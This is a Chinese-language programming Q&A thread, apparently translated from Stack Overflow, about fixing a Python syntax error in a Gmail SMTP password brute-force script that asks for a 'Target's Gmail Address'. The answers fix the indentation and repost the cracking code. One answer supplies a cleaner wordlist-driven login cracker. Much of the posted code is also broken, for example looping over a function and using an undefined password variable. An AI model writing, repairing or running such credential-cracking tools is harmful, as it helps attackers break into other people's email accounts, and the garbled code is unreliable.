我试图弄清楚为什么我的代码不起作用。我试图通过向另一个代码添加一些代码来提高我的python技能,但是当我尝试执行它时不断给我一个语法错误。
import itertools
import smtplib
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
user = raw_input("Enter Target's Gmail Address: ")
def print_perms(chars, minlen, maxlen):
for n in range(minlen, maxlen+1):
for perm in itertools.product(chars, repeat=n):
print(''.join(perm))
print_perms("abcdefghijklmnopqrstuvwxyz1234567890", 2, 4)
for symbols in print_perms:
try:
smtpserver.login(user, password)
print "[+] Password Cracked: %s" % symbols
break;
except smtplib.SMTPAuthenticationError:
print "[!] Password Inccorect: %s" % symbols
输出
File "main.py", line 22
except smtplib.SMTPAuthenticationError:
^
SyntaxError: invalid syntax
我只是不明白,可能有人发现并修补了问题
答案 0 :(得分:1)
压痕!
except
应与try
处于同一缩进级别。
答案 1 :(得分:1)
试试这个脚本:
import sys
import smtplib
def main():
host = 'smtp.gmail.com'
port = 587
user = raw_input('[+] Enter The Email To Crack : ')
password = raw_input('[+] Enter The Password List : ')
passs = open(password, 'r').readlines()
for passw in passs:
password = passw.rstrip()
smtp(host, port, user, password)
def smtp(host, port, user, password):
try:
server = smtplib.SMTP(host, port)
server.ehlo()
server.starttls()
server.login(user, password)
print "[+] Password Found Succesfully : " + password
sys.exit(1)
except smtplib.SMTPAuthenticationError:
print "[-] Password Incorrect : " + password
pass
答案 2 :(得分:0)
根据规则,您并没有打算except
。这是在修复之后。有关try...except
的更多信息,请参阅here。
import itertools
import smtplib
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
user = raw_input("Enter Target's Gmail Address: ")
def print_perms(chars, minlen, maxlen):
for n in range(minlen, maxlen+1):
for perm in itertools.product(chars, repeat=n):
print(''.join(perm))
print_perms("abcdefghijklmnopqrstuvwxyz1234567890", 2, 4)
for symbols in print_perms:
try:
smtpserver.login(user, password)
print "[+] Password Cracked: %s" % symbols
break;
except smtplib.SMTPAuthenticationError:
print "[!] Password Inccorect: %s" % symbols
答案 3 :(得分:0)
这对我有用:
import itertools
import smtplib
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
user = input("Enter Target's Gmail Address: ")
def print_perms(chars, minlen, maxlen):
for n in range(minlen, maxlen+1):
for perm in itertools.product(chars, repeat=n):
print(''.join(perm))
print_perms("abcdefghijklmnopqrstuvwxyz1234567890", 2, 4)
for symbols in print_perms:
try:
smtpserver.login(user, password)
print ("[+] Password Cracked: %s") % symbols
break;
except smtplib.SMTPAuthenticationError:
print ("[!] Password Inccorect: %s") % symbols